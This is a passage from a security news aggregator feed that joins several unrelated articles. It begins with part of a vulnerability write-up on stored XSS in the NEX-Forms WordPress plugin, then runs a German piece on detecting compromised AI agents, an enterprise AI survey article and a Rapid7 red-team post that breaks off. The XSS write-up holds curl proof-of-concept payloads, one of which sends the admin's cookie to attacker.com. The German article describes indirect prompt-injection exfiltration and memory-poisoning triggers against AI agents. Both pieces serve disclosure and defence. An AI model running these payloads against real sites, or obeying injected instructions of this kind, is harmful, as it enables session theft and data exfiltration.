      <table width="100%" class="highlight" cellpadding="10" cellspacing="0">
        <img src=x onerror=alert(document.domain)><br />
      </table>
    </td>

    The <img> tag lands directly in the DOM. The browser tries to load src="x", fails, and fires onerror — no click, no interaction required.

    💻 Proof of Concept

    Disclosure note: This PoC is provided for educational and authorized security testing only. Lab environment: WordPress 6.9.4, NEX-Forms 9.1.10, Bitnami Docker.

    Step 1 — Inject payload (unauthenticated)

    curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \
      --data "action=submit_nex_form" \
      --data "nex_forms_Id=1" \
      --data "company_url=" \
      --data "email=attacker@evil.com" \
      --data "payload[]=<img src=x onerror=alert(document.domain)>"

    Expected response — valid entry ID confirms storage:

    <input type="hidden" name="nf_entry_id" value="13">

    Step 2 — Verify raw storage

    wp db query "SELECT form_data FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1;"
    # The <img> tag appears verbatim in field_value — no HTML encoding.

    Step 3 — Trigger XSS as admin

    1. Log in to WordPress admin: http://TARGET/wp-admin/
    2. Navigate to NEX-Forms → Form Entries
    3. Click the affected form → click the injected entry row
    4. alert("localhost:8080") fires immediately — no interaction beyond page load

    Step 4 — Real-world session hijack

    curl -s -X POST "http://TARGET/wp-admin/admin-ajax.php" \
      --data "action=submit_nex_form" \
      --data "nex_forms_Id=1" \
      --data "company_url=" \
      --data "email=attacker@evil.com" \
      --data 'payload[]=<img src=x onerror="var i=new Image();i.src='"'"'https://attacker.com/steal?c='"'"'+encodeURIComponent(document.cookie);">'

    When the administrator views entries, their session cookie is silently exfiltrated. From there, the attacker can create rogue admin accounts, install PHP webshell plugins, or dump the entire database.

    💥 Impact

    • Admin views Entries (normal workflow): JavaScript executes in admin browser context
    • Session cookie theft: Attacker hijacks admin session without credentials
    • Rogue admin creation: fetch() silently POSTs to /wp-json/wp/v2/users
    • Plugin upload via REST API: PHP webshell installed without further interaction
    • Site defacement: document.body.innerHTML overwritten
    • Persistent backdoor: Payload fires for every admin who views entries

    🛠️ Remediation

    Two independent fixes are both necessary: sanitize at input, escape at output.

    Fix 1 — Sanitize array fields at storage (main.php:2883)

    Vulnerable:

    $data_array[] = [
        'field_name'  => $key,
        'field_value' => rest_sanitize_array($val),  // ← no HTML stripping
    ];

    Fixed:

    $sanitized = array_map('sanitize_text_field', (array) $val);
    $data_array[] = [
        'field_name'  => $key,
        'field_value' => $sanitized,
    ];

    Fix 2 — Escape output in admin view (class.db.php:2624)

    Vulnerable:

    $output .= rtrim($val, ', ') . '<br />';

    Fixed:

    $output .= esc_html(rtrim($val, ', ')) . '<br />';

    Fix 3 — Nonce verification (defense-in-depth)

    // Add at the top of submit_nex_form():
    if (!isset($_POST['nf_nonce']) ||
        !wp_verify_nonce($_POST['nf_nonce'], 'nf_submit_' . $nex_forms_id)) {
        wp_send_json_error('Invalid request');
    }
    Fix 1 and Fix 2 each independently prevent the XSS. Fix 3 makes automated injection harder but is not a substitute for proper sanitization and escaping.

    📊 CVSS 3.1 Breakdown

    • Attack Vector (AV): Network (N) — Exploitable remotely over HTTP
    • Attack Complexity (AC): Low (L) — Works on any default installation with a form
    • Privileges Required (PR): None (N) — Fully unauthenticated
    • User Interaction (UI): Required (R) — Admin views entries — their normal workflow
    • Scope (S): Changed © — XSS crosses from visitor into privileged admin session
    • Confidentiality Š: High (H) — Admin cookies, DB content, secret keys exposed
    • Integrity (I): High (H) — Can create admins, install plugins, modify all content
    • Availability (A): None (N) — No direct denial-of-service impact

    Base Score: 8.8 HIGH — AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

    📣 Disclosure Resources

    🔑 Key Takeaways

    For developers:

    • Always apply esc_html() (or esc_attr(), esc_url()) at every output point in WordPress — even in admin-only pages
    • Never assume admin-facing output is “safe” — XSS in admin context is just as dangerous as front-end XSS
    • rest_sanitize_array() is for REST API coercion, not for HTML sanitization — use array_map('sanitize_text_field', $arr) instead
    • Apply the same sanitization consistently across all field types — asymmetric handling creates exploitable edge cases

    For site owners:

    • If you use NEX-Forms Express ≤ 9.1.10, update immediately to the patched version.
    • Monitor your form entries for unexpected HTML or JavaScript in field values
    • Consider a WAF rule blocking <script, onerror=, and javascript: in form POST bodies

    Stay tune for more!!!

    Unauthenticated Stored XSS in NEX-Forms Express WP Form Builder (≤ 9.1.10) — CVSS 8.8 High was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

    ]]>         <![CDATA[The Untaught Lessons of RAG Retrieval: Cosine Is Not the Foundation]]> https://tsecurity.de/de/3643505/ai-nachrichten/the-untaught-lessons-of-rag-retrieval-cosine-is-not-the-foundation/ https://tsecurity.de/de/3643505/ai-nachrichten/the-untaught-lessons-of-rag-retrieval-cosine-is-not-the-foundation/ Fri, 03 Jul 2026 14:19:21 +0200 🔧 AI Nachrichten tsecurity.de Enterprise Document Intelligence [Vol.1 #7ter] - Six positions on the retrieval brick that contradict the cosine-first reflex of mainstream RAG

    The post The Untaught Lessons of RAG Retrieval: Cosine Is Not the Foundation appeared first on Towards Data Science.

    ]]>         <![CDATA[The Anatomy of a Shadow AI Supply-Chain Breach: Lessons from the 2026 Vercel Incident]]> https://tsecurity.de/de/3643425/hacking/the-anatomy-of-a-shadow-ai-supply-chain-breach-lessons-from-the-2026-vercel-incident/ https://tsecurity.de/de/3643425/hacking/the-anatomy-of-a-shadow-ai-supply-chain-breach-lessons-from-the-2026-vercel-incident/ Fri, 03 Jul 2026 13:37:26 +0200 🕵️ Hacking tsecurity.de <![CDATA[The Anatomy of a Shadow AI Supply-Chain Breach: Lessons from the 2026 Vercel Incident]]> https://tsecurity.de/de/3643416/it-security-nachrichten/the-anatomy-of-a-shadow-ai-supply-chain-breach-lessons-from-the-2026-vercel-incident/ https://tsecurity.de/de/3643416/it-security-nachrichten/the-anatomy-of-a-shadow-ai-supply-chain-breach-lessons-from-the-2026-vercel-incident/ Fri, 03 Jul 2026 13:36:59 +0200 📰 IT Security Nachrichten tsecurity.de Vercel breach happened after an employee used an unvetted AI tool. Attackers exploited it as a trusted link to access systems, steal data, and extort $2M. The Vercel breach of April 2026 did not begin with a classic zero-day exploit,…

    Read more →

    The post The Anatomy of a Shadow AI Supply-Chain Breach: Lessons from the 2026 Vercel Incident appeared first on IT Security News.

    ]]>         <![CDATA[So spüren Sie kompromittierte KI-Agenten auf]]> https://tsecurity.de/de/3642682/it-security-nachrichten/so-spueren-sie-kompromittierte-ki-agenten-auf/ https://tsecurity.de/de/3642682/it-security-nachrichten/so-spueren-sie-kompromittierte-ki-agenten-auf/ Fri, 03 Jul 2026 06:07:33 +0200 📰 IT Security Nachrichten tsecurity.de
    Table Risk 16z9
    Kompromittierte KI-Agenten sind nicht leicht zu erkennen. Lesen, wie es trotzdem klappt.

    amgun | shutterstock.com

    Im Juni 2025 veröffentlichte der prominente britische Softwareentwickler Simon Willison einen in der Security-Community vielbeachteten Blogbeitrag. Darin warnte der Experte, der im Jahr 2022 den Begriff „Prompt Injection“ geprägt hatte, vor einer tödlichen Dreierkombination („Lethal Trifecta“), die ausreichen um einen KI-Agenten mit nahezu hundertprozentiger Erfolgswahrscheinlichkeit durch indirekte Prompt Injection zu kompromittieren. Diese „Lethal Trifecta“ bei KI-Agenten manifestiert sich demnach im:   

    • Zugriff auf private Daten,
    • dem Kontakt mit nicht vertrauenswĂźrdigen Inhalten, sowie
    • der Fähigkeit zur externen Kommunikation.

    Ein Angreifer, der schadhafte Anweisungen an beliebiger Stelle in dieser Inhalts-Pipeline einschleust, kann Daten exfiltrieren, ohne dass das überhaupt auffällt. Willison veranschaulichte diesen Punkt in seinem Beitrag mit einer langen Liste realer Exploits in Produktionsumgebungen. Das „tödliche Triple“ fungierte dabei zu einer Zeit als Security-Warnsignal, in der KI-Agenten einen meist eng begrenzten Anwendungsbereich hatten. Die Kombination der oben genannten Fähigkeiten zu vermeiden, schien eine tragfähige Designstrategie.

    Das hat sich mittlerweile geändert: Ein kundenorientierter Support-Agent erfasst heute Ticketverläufe und Kundendaten, Benutzernachrichten sowie angehängte Dateien und ruft CRMs, Rückerstattungs-APIs oder Ticketing-Systeme auf. Ebenso lesen und beantworten KI-Agenten E-Mails, verwalten Kalender und Nachrichten. Das sind keine „Edge Cases“, sondern genau die Art von Agenten, nach denen Unternehmen und Privatanwender streben – und auf die die Anbieter hinarbeiten.

    Das „tödliche Triple“ als neuer Standard

    Ross McKerchar, CISO bei Sophos, bringt das Problem in einem eigenen Blogbeitrag auf den Punkt: „Die Funktionen, die Praktiker tatsächlich wollen, führen unweigerlich in gefährliches Terrain. Das ist keine Fehlkonfiguration, sondern der architektonische Preis für die Nützlichkeit.“

    Damit liegt der Security-Entscheider richtig: Ein Agent ohne Zugriff auf private Daten ist nutzlos. Einer, der keine externen Inhalte verarbeiten kann, agiert isoliert. Und ein Agent, der nicht nach außen kommunizieren kann, ist handlungsunfähig. Nimmt man auch nur einen dieser drei Aspekte weg, steht im Ergebnis eher eine Suchleiste als ein KI-Agent. Wenn jede legitime Agentenarchitektur sämtliche Eigenschaften der „Lethal Trifecta“ aufweist, kann diese kein aussagekräftiger Indikator für erhöhtes Risiko mehr sein – sondern ist de facto die Standardkonfiguration. Sie weiterhin als Warnsignal zu betrachten, ist so, als würde man die DNS-Auflösung als Anzeichen für ein kompromittiertes Netzwerk werten. Technisch gesehen trifft das zwar auf einige Threat-Modelle zu, ist aber in jedem realen Deployment allgegenwärtig.

    Die Antwort auf diese Situation beschreibt der Sophos-CISO in seinem Blogbeitrag als „Blast Radius Reduction“. Gemeint ist eine realistische operative Philosophie, die die „Lethal Trifecta“ als gegeben akzeptiert. Das wäre ein guter erster Schritt – allerdings stellt sich die Frage, was nach der Akzeptanzphase folgt. Das Security-Team von Meta gelangte zu einer ähnlichen Erkenntnis wie McKerchar, nur aus einer anderen Richtung: Im Oktober 2025 veröffentlichte der Konzern sein „Rule of Two“-Framework. Dieses sieht vor, dass KI-Agenten nicht mehr als zwei der drei Komponenten der „Lethal Trifecta“ aufweisen sollten. Sind alle drei Merkmale vertreten, wird eine menschliche Genehmigung erforderlich. Von der Idee war auch Simon Willison angetan, der das Meta-Framework im November 2025 als den besten praktischen Ratgeber bezeichnete, um sichere Agentensysteme auf LLM-Basis aufzubauen.

    Mit Blick auf sein Framework räumt Meta allerdings auch Limitationen ein. Demnach passten diverse populäre Use Cases nicht nahtlos in das Rahmenwerk, wodurch Designs, die auf der „Rule of Two“ aufbauen, dennoch anfällig für Fehler sein könnten. Das ist nur die Bestätigung dafür, dass das Problem die Lösung auf Architekturebene bereits überholt hat. Denn das Ausmaß der Sicherheitslücken ist längst nicht mehr nur theoretischer Natur: So brachte eine Untersuchung des Common Crawl Repositories durch Sicherheitsforscher von Google diverse Prompt-Injection-Angriffe auf öffentlich zugängliche Webseiten ans Licht. Laut Google haben die Angriffsversuche dieser Art zwischen November 2025 und Februar 2026 um 32 Prozent zugelegt. Zwar stellten die Sicherheitsexperten fest, dass deren Reifegrad derzeit noch gering ist. Allerdings weisen sie auch darauf hin, dass der Trend ein klares Signal dafür ist, dass das Interesse der Angreifer zunimmt. Anders ausgedrückt: Das Umfeld, vor dem die „Lethal Trifecta“ einst gewarnt hat, ist zur Realität geworden.

    5 Anzeichen fĂźr kompromittierte KI-Agenten

    Wenn nahezu jeder eingesetzte KI-Agent die Merkmale der „Lethal Trifecta“ aufweist, benötigen Praktiker die richtigen Anhaltspunkte, um kompromittiertes Verhalten vom normalen Betrieb innerhalb eines Systems zu unterscheiden. Das erfordert einen Shift: Weg von Assessments auf Architekturebene und hin zu Behavioral Detection auf Laufzeitebene. Wie nötig dieser Umschwung ist, zeigte sich zuletzt im Januar 2026, als innerhalb von nur fünf Tagen vier verschiedene Exploits gegen populäre KI-Produktivitäts-Tools bekannt wurden. Betroffen waren IBM Bob, Superhuman AI, Notion AI und Claude Cowork. In allen vier Fällen setzten die Angreifer auf indirekte Promp Injection, um Daten zu exfiltrieren. Und zwar über einen Kanal, auf den der jeweilige Agent legitimen Zugriff hatte.

    Im Fall von Claude Cowork sorgte ein in ein hochgeladenes Dokument eingebetteter, versteckter Prompt etwa dafür, dass der KI-Agent Dateien über die von Anthropic selbst auf die Whitelist gesetzte API-Domain exfiltrierte – unsichtbar für sämtliche Perimeterkontrollmaßnahmen und nicht von normalem Agentenverhalten zu unterscheiden, bis die Daten bereits gestohlen waren. Die vier Exploits hatten außerdem gemein, dass die „Lethal Trifecta“ Betriebsbedingung war.

    Die folgenden fĂźnf Signale kĂśnnen dazu beitragen, kompromittierte KI-Agenten zu erkennen:

    • Anomalien bei der Befolgung von Anweisungen: Ein kompromittierter Agent verhält sich in der Regel nicht grundlegend anders als ein intakter – er befolgt Anweisungen. Die Frage ist nur, wessen. Agenten-Aktionen, die keinen plausiblen Bezug zu einer vom Benutzer initiierten Aufgabe haben, sollten deshalb die Alarmglocken schrillen lassen. Ein Agent, der dazu aufgefordert wurde, einen Quartalsbericht zusammenzufassen, dann aber eine DNS-Anfrage an eine unbekannte Domain aussendet, hat sich dazu nicht spontan „entschlossen“ – er wurde dazu veranlasst.
    • Tool-Call-Sequenzen, die die erwartete Topologie durchbrechen: In einem gut konzipierten KI-Agentensystem sollte die Sequenz der Tool-Aufrufe fĂźr eine spezifische Aufgabe relativ vorhersehbar sein. Ein Programmier-Agent, der einen Bug fixen soll, muss Dateien bearbeiten, Tests ausfĂźhren und mĂśglicherweise die Dokumentation ĂźberprĂźfen. Er sollte allerdings nicht auf E-Mail- oder Kalender-APIs zugreifen. Sobald die erwarteten Grenzen eines Workflows in diesem Rahmen Ăźberschritten werden, ist deshalb Skepsis angesagt: Solche Tool-Call-Sequenzen sollten als verdächtig markiert werden, selbst wenn jeder einzelne Aufruf fĂźr sich genommen legitim erscheint.
    • Exfiltration Ăźber Kanäle mit geringer Bandbreite: Der klassische Exfiltrationsangriff durch Prompt Injection leitet gestohlene Daten Ăźber einen Mechanismus weiter, auf den der Agent legitim zugreift – die URL eines gerenderten Bildes mit verschlĂźsselten Abfrageparametern, einen API-Call mit Daten, die in einem Parameter eingebettet sind oder einen Link in einem generierten Dokument. FĂźr sich genommen sehen diese Aktionen nicht nach Datendiebstahl aus, sondern wirken vĂśllig normal. Um eine Exfiltration erkennen zu kĂśnnen, sollte geprĂźft werden, auf welche Daten der Agent Zugriff hatte und was er in seinen Output eingebettet hat. Das erfordert wiederum, dass die Agentenaktionen durchgängig transparent sind – nicht nur der endgĂźltige Output.
    • Zugriff auf Anmeldedaten und Secrets außerhalb des Task-Scope: Greift ein Agent mit legitimen Zugriffsrechten auf einen Secrets Store oder einen Key Vault zu, die in keinem Zusammenhang mit dem aktuellen Task stehen, ist das ebenfalls ein Warnsignal. Ein Agent, der einen React-Rendering-Fehler beheben soll, braucht dazu mit Sicherheit keine AWS-Anmeldedaten. Das Least-Privilege-Prinzip dient hier als architektonische Abwehrmaßnahme. Doch erst ein Monitoring, bei dem gezielt ĂźberprĂźft wird, ob „out of scope“ auf Login-Daten zugegriffen wird, kann solche Abläufe zu Tage fĂśrdern.
    • Anomalien bei Memory-Write-Vorgängen: Agenten mit persistentem Speicher stellen eine wachsende Angriffsfläche dar. Ein manipulierter Memory-Eintrag, der wie legitimer Benutzerkontext aussieht, kĂśnnte versteckte „Trigger Instructions“ enthalten, die Session-Ăźbergreifend erhalten bleiben und erst lange nach der eigentlichen Prompt Injection ausgelĂśst werden. Dagegen hilft, die Observability-Pipeline fĂźr KI-Agenten entsprechend auszugestalten: Memory-Schreibvorgänge sollten auf befehlsähnliche Inhalte Ăźberwacht werden. Ebenso mĂźssen Schreibvorgänge, die im Rahmen von Sessions mit nicht-vertrauenswĂźrdigen Inhalten stattgefunden haben, kritisch beäugt werden.

    Für Security-Praktiker, die eine Agentic-AI-Infrastruktur im Produktivbetrieb managen, bestätigt die Entwicklung der „Lethal Trifecta“ zum neuen Standard nur das, was Sie ohnehin längst wissen: Ihre KI-Agenten sind gefährdet. Dieser Herausforderung ist auf Ebene der Runtime zu begegnen, nicht auf Architekturebene. Dort sind für traditionelle Architekturen EDR und SIEM angesiedelt. KI-Agenten benötigen dieselbe Instrumentierung – was auf die allermeisten Deployments bislang nicht zutrifft. (fm)

    Dieser Artikel ist im Original bei unserer Schwesterpublikation CSOonline.com erschienen.

    ]]>         <![CDATA[Enterprises lost Claude Fable 5 for a few weeks. New data shows two-thirds had already built their hedge]]> https://tsecurity.de/de/3642528/it-nachrichten/enterprises-lost-claude-fable-5-for-a-few-weeks-new-data-shows-two-thirds-had-already-built-their-hedge/ https://tsecurity.de/de/3642528/it-nachrichten/enterprises-lost-claude-fable-5-for-a-few-weeks-new-data-shows-two-thirds-had-already-built-their-hedge/ Fri, 03 Jul 2026 03:02:52 +0200 📰 IT Nachrichten tsecurity.de Two-thirds of enterprises have hedged their AI model strategy, and the past few weeks of controversy around Anthropic’s Claude Fable 5 model showed why that posture has gone mainstream. 

    On June 12, a U.S. export-control order pulled Anthropic's Claude Fable 5 — the most capable model on the market — offline for every customer, with no warning and no timeline. It returned this week wrapped in tighter safeguards, after China's Z.ai released its open-weights GLM-5.2 into the vacuum. New VentureBeat Pulse Research, which surveyed 145 enterprises across these last few weeks, shows that two-thirds had already hedged their model strategy before the order came down: 51% blend closed frontier models with open-weight models deployed on their own infrastructure, and another 16% are moving core workflows off closed APIs entirely. The remaining third was all-in on closed ecosystems when the lights went out.

    The blackout put a spotlight on vendor dependency, by showing what happens when the model you rely on disappears. But vendor dependency is only the most visible piece of a deeper problem: Most enterprises lack the monitoring to know when an AI system they've put into production stops working correctly.

    Just 1 in 10 enterprises has automated monitoring that would catch an AI model drifting, misbehaving, or failing in production. Roughly a quarter would learn of a production failure only when end users — internal or external — report it, or lack the visibility to detect it at all. And 79% of enterprise organizations have already taken a real financial or operational hit from autonomous agents — most often shadow AI, unauthorized agentic work run by enterprises' own employees on corporate credit cards, outside anyone's oversight.

    We call this the “Control Gap,” or the distance between how aggressively enterprises are deploying AI and how little of it they can see, own, or govern. June’s blackout turned this into a live stress test.

    About this data: VentureBeat Pulse Research surveyed 145 qualified respondents at organizations with 100 or more employees in June 2026, with fielding spanning the Fable 5 blackout that began June 12. The sample is self-selected and directional: 41% work in technology/software, 20% are consultants or advisors, and the respondent base skews senior and technical — CIO/CTO/CISOs (18%), directors of engineering/IT (14%), enterprise architects (12%). More than half of the respondents were from companies with 10,000 employees or more. 

    While our sample is not huge, what you can trust more than the exact percentages is the pattern: Every question in the survey, independently, points the same way, with deployment running ahead of governance, visibility, and cost control.

    The full methodology is in the report.

    How the Fable 5 export order rewrote enterprise AI risk

    Fable 5 launched June 9 to immediate acclaim — and sticker shock, at $10 per million input tokens and $50 per million output. Three days later, the U.S. government issued an emergency export-control directive barring access by foreign nationals. Anthropic, with no way to verify nationality in real time, suspended the model for everyone.

    Z.ai has continued to pick up momentum; on Wednesday it released an open agentic coding environment, called Zcode. OpenAI, meanwhile, previewed its cutting-edge GPT-5.6 line on June 26.

    Enterprises had already spent the spring learning what AI dependence costs in dollars. Uber burned through its entire 2026 AI coding budget in four months after Claude Code adoption hit 84% of its roughly 5,000 engineers, Forbes reported. Microsoft canceled most internal Claude Code licenses in its Windows and Microsoft 365 division, steering engineers to its own tooling, according to The Verge.

    June added the harder lesson: The model your workflows depend on can vanish overnight, by government order, through no decision of yours or your vendor's. And Chinese companies like DeepSeek were releasing hugely disruptive, powerful models, driving down costs to a fraction of Western ones.

    Brian Craig, senior director of architecture at Liberty IT, the Ireland-based engineering arm of Liberty Mutual, one of the world’s largest insurance companies, saw both lessons collide in real time. Craig is Irish, which meant the export order hit him directly as a foreign-national user.

    Onstage at VentureBeat's AI Impact event in New York on June 24, mid-blackout, I asked him about it. "Fable arrived, and immediately you saw the sticker price of using it, and you went, 'Ooh, goodness, it better be really good,'" Craig said. "But luckily enough, we didn’t get to use it enough to get to fall in love with it." Then it was gone.

    The hedge was already built before the blackout hit

    Craig's company was built to route around exactly this kind of disruption. Liberty IT runs what it calls an AI backbone — roughly 50 components spanning security, governance, observability, and orchestration, each independently replaceable.

    "You can't lock in right now in one vendor and even one framework," Craig told the room. "You need to keep being able to have the flexibility with that backbone to be able to hook into different models, different vendors, depending not so much on who's the flavor of the day, but on what you can feel confident about for the next six months."

    The survey shows Craig has plenty of company. A 51% majority of enterprises run a hybrid posture — closed frontier models for general reasoning, open-weight models deployed locally for specialized execution — and 16% are making a hard pivot, moving core workflows onto open weights running on their own hybrid or private cloud. The 32% holding a closed commitment are candid about why: The operational overhead of self-hosting still outweighs the savings for them. After June, that calculus has a new variable in it.

    Defection is now the active posture, and the target may surprise you. Asked which primary AI vendor they are most likely to downsize or phase out over the next 12 months, respondents named Microsoft first at 30% — most citing cutbacks to Copilot and Azure AI frameworks in favor of direct model access — ahead of the 28% who plan to trim no vendor at all. OpenAI drew 21%, largely on pricing volatility, with Anthropic at 15% and Google at 6%. No vendor faces an exodus. But loyalty by inertia has ended: Among these enterprises, actively cutting at least one provider is now more common than expanding across all of them.

    Just 1 in 10 enterprises would catch a failing production model automatically

    How would an enterprise know if one of its production AI models was drifting, behaving unsafely, or failing to complete tasks? We asked directly. Forty percent say they are very confident they would detect it. The question also asked what that confidence rests on, and respondents split into two camps: 30% rely on humans reviewing critical AI outputs, and just 10% — 14 of the 145 organizations — have automated monitoring and alerting running against production systems. The remaining respondents hold weaker positions still: 32% expect to catch most issues "eventually," 19% say they would likely hear about a failure from end users first, and 8% report no systematic visibility into production AI behavior at all.

    That distinction matters because the two approaches are very different. Human review may seem like the gold standard, but it only reaches the outputs someone designates as important for such a review — and it happens at the pace humans can move at, with the inconsistency any manual process carries. Automated monitoring watches everything the system produces, continuously, and flags anomalies as they happen — for the same reason enterprises stopped depending on manual checks for uptime and security a decade ago.

    As agentic workloads multiply output volumes far beyond what any review team can read, the manual approach starts to fall behind. The leaders at our June 24 event in New York treat human review as a designed control with automation underneath it. "Nothing gets deployed into production unless it's a human actually reviewing it and signing off," Craig said of Liberty's agentic software factory, where planning, coding, testing, critic, and librarian agents ship features from epic to production.

    "It always has to be risk-based. That's why we work for an insurance company." Todd Johnson, the Morgan Stanley managing director who runs agentic AI across the bank's end-of-day P&L controller process, described the same principle from finance: "One of our strong principles in our AI governance generally is that there always has to be human accountability, even if there's a degree of automation." VentureBeat covered Morgan Stanley's new results around its P&L resolution agent system separately.

    Liberty Mutual and Morgan Stanley chose manual sign-off deliberately, layered on top of observability, identity, and governance infrastructure. Whether the human-review camp has similar infrastructure underneath is more than a single-select question can establish. The 16% who separately named missing observability tooling as their biggest governance barrier are the ones saying outright that it hasn't been built.

    The top governance barrier is organizational: no single owner for AI across platforms

    Why does the AI visibility tooling never get built? The respondents' answers suggest it is an organizational shortcoming. The single most-cited barrier to governing AI across platforms is the absence of a single owner or accountable team, at 32%. Vendor opacity follows at 25%, missing tooling at 16% — and a lack of talent lands dead last at 5%.

    The skills exist, but the organizational mandate does not: Only 38% say a central team actually governs AI behavior across their platforms today, 21% say ownership is unclear or actively contested between teams, and 17% say no role holds formal accountability at all.

    The AI surface being governed makes the vacuum worse. Fully 85% of enterprises run two or more platforms each claiming to be the "primary" AI layer — ERP, ITSM, productivity suite, data platform, each with its own AI, its own controls, and its own assumptions. 36% describe an open contest between four or more. Just 8% have consolidated to one. Asked in a free-text question what one thing they would fix, respondents converged from different directions on the same answer: a single accountable owner, and a control plane that abstracts cost, drift, and model choice away from the end user.

    79% have already paid for an agent control failure — led by shadow AI

    The cost of the vacuum is showing up on corporate cards.

    Asked to name the most severe financial or operational control failure they have experienced from autonomous agents, 49% of enterprises cite shadow AI — departmental teams running unauthorized agentic pipelines on corporate credit cards, bypassing central financial oversight entirely. Another 25% have been hit by an infinite-loop bill, an uncaught recursive workflow racking up thousands in token costs in a single incident, and 6% by an agent that degraded production databases with unthrottled queries. Only 21% report guarded stability, with hard token throttling and budget caps at the infrastructure layer. Add it up: 79% of these enterprises have already paid for an agent control failure in real money or real downtime.

    Finally, the economics of tokens suggest the pressure will keep rising. Per-token inference costs are falling 70 to 80% a year, and agentic workloads consume 100 to 500 times the tokens of the LLM tools they replaced.

    Brian Gracely, senior director of portfolio strategy at Red Hat, told our New York audience the answer starts with right-sizing: "If I'm simply trying to resolve an insurance claim, I don't need to know about the history of Western civilization in my model. I don't need to know soccer scores."

    Enterprises are pairing smaller, specialized models with semantic routing, he said, so the platform decides which requests genuinely need frontier-scale reasoning — and which are burning premium tokens on commodity work. (One adjacent data point from the survey underlines the appetite for pragmatism: 73% of enterprises report little or nothing to show for their custom fine-tuning investments of the past 18 months — a reckoning we'll examine in its own report.)

    The bottom line: Replaceability is spreading faster than ownership

    The survey describes enterprises moving fast on AI with weak controls underneath. 58% are adding more AI initiatives than they retire. 85% run multiple platforms that each claim to be the primary AI layer. Three times as many enterprises rely on human review to catch a failing production model as have automated monitoring in place. And 79% have already paid for an agent control failure — most often unauthorized agent spending on corporate cards, outside IT's oversight.

    On one problem, enterprises have clearly adapted: model dependency. Two-thirds hedge their model strategy, either running open-weight models alongside closed ones (51%) or moving core workflows off closed APIs entirely (16%). The Fable 5 shutdown showed the value of that position — the hedged companies could route around a model that a government order made unavailable overnight.

    The remaining problems are internal, and no purchase fixes them: 32% name the lack of a single accountable owner as their top governance barrier, and 17% say no role holds formal accountability for AI at all. Assigning an owner costs nothing and requires no vendor. It still hasn't happened at most of these companies.

    Our coming Q3 wave of research will measure whether June changed this — whether enterprises assigned owners and installed automated monitoring, or just added a second model and moved on.

    Get the full Control Gap report here.

    The themes in this report — agent orchestration, governance, and cost control — are the agenda at VB Transform, VentureBeat's flagship event, July 14-15 at Hotel Nia in Menlo Park, with technical leaders from Visa, GM, Waymo, Intuit, Instacart, LangChain and others. Details and registration here.

    Disclosure: VentureBeat's June 24 AI Impact event in New York was sponsored by Red Hat and Intel. Sponsors have no input into VentureBeat Pulse Research survey design, findings, or editorial coverage.

    ]]>         <![CDATA[SME Cybersecurity lessons from NCSC warning on hostile state Cyber attacks affecting UK systems]]> https://tsecurity.de/de/3642343/it-security-nachrichten/sme-cybersecurity-lessons-from-ncsc-warning-on-hostile-state-cyber-attacks-affecting-uk-systems/ https://tsecurity.de/de/3642343/it-security-nachrichten/sme-cybersecurity-lessons-from-ncsc-warning-on-hostile-state-cyber-attacks-affecting-uk-systems/ Fri, 03 Jul 2026 00:08:31 +0200 📰 IT Security Nachrichten tsecurity.de SME Cybersecurity lessons from NCSC warning on hostile state Cyber attacks affecting UK systemsImage Credit: DC Studios via Magnific Image Credit: IfOnlyCommunications Latest Posts from SECURUS Communications MANAGED...

    The post SME Cybersecurity lessons from NCSC warning on hostile state Cyber attacks affecting UK systems appeared first on SME Cybersecurity News | SMECYBERInsights.co.uk.

    ]]>         <![CDATA[Formalizing Red Teaming Offensive Methodology as a Multi-Agent AI Architecture]]> https://tsecurity.de/de/3641499/it-security-nachrichten/formalizing-red-teaming-offensive-methodology-as-a-multi-agent-ai-architecture/ https://tsecurity.de/de/3641499/it-security-nachrichten/formalizing-red-teaming-offensive-methodology-as-a-multi-agent-ai-architecture/ Thu, 02 Jul 2026 16:38:18 +0200 📰 IT Security Nachrichten tsecurity.de Threat actors are integrating AI into their exploit chains, accelerating reconnaissance, automating vulnerability discovery, and scaling social engineering in ways that compress the timeline between initial access and impact. The barrier to sophisticated offensive operations is dropping fast.

    Rapid7's Red Team is doing the same. Over the past year we formalized our approach into a structured multi-agent system that follows our penetration testing methodology end-to-end from scoping an engagement to validating findings to generating reports. We built it as a production system, not a proof of concept, and the process of designing and operating it taught us as much about defending against AI-enhanced attacks as it did about conducting them.

    The system also proved its value as part of Anthropic's Project Glasswing initiative. Glasswing is a program that gives leading security companies early access to frontier cyber models before they reach wider availability, enabling security research that stays ahead of malicious adoption. We infused our red team architecture with Claude Mythos, applying it across penetration testing, vulnerability research, and red team operations. The combination of our formalized multi-agent architecture with a frontier-class model produced exceptional results in vulnerability analysis and exploit chain development. This validated both the architecture's design and the importance of getting these capabilities into defenders' hands first.

    This post covers the architecture, the key design decisions, and what we learned along the way.

    Why Rapid7's Red Team built a multi-agent system

    Penetration testing is labor-intensive by nature as a significant portion of any engagement is spent on structured, repeatable work like enumerating attack surfaces, tracing data flows through source code, checking security headers, documenting findings in a consistent format. The actual judgement — deciding what to test next, assessing exploitability, understanding business impact — remains deeply human.

    The opportunity was straightforward: offload the mechanical work to AI agents while maintaining human insight at decision points where it matters most. Those decision points are where engagements succeed or fail: scoping what's in and out of bounds, choosing which attack paths to pursue based on business context, assessing whether a vulnerability is genuinely exploitable in a given environment, deciding when a finding is significant enough to escalate, and interpreting results in ways that translate to actionable risks. None of that is mechanical, it requires experience, judgement, and context that models routinely get wrong. And as an internal security team, we don't just report vulnerabilities, we're accountable for coverage. If something ships with an exploitable flaw we missed, that's on us. The bar for confidence is high, and that's why humans stay in the loop at every point that matters.

    We also had a secondary motivation. Building a system that follows a structured offensive methodology gives us direct architectural insight into how AI agents behave in adversarial contexts including the capabilities, the limitations, and the failure modes. That understanding now informs how we assess and secure Rapid7's own AI-powered products.

    The architecture: Orchestration, not autonomy

    The system isn't a single monolithic agent but a team of specialist agents coordinated by an orchestrator that mirrors how human red teams operate. The orchestrator doesn't test anything. It assesses the current state of the engagement, determines what needs to happen next, routes work to the appropriate specialist, and processes the results. Specialist agents handle enumeration, code review, dynamic testing, and reporting.Each with defined inputs, outputs, and constraints.

    The architectural choice to use supervisor-style orchestration rather than a monolithic agent separates routing decisions from execution. This makes the system more predictable, auditable, and controllable,properties that matter when the agent is operating in sensitive environments.

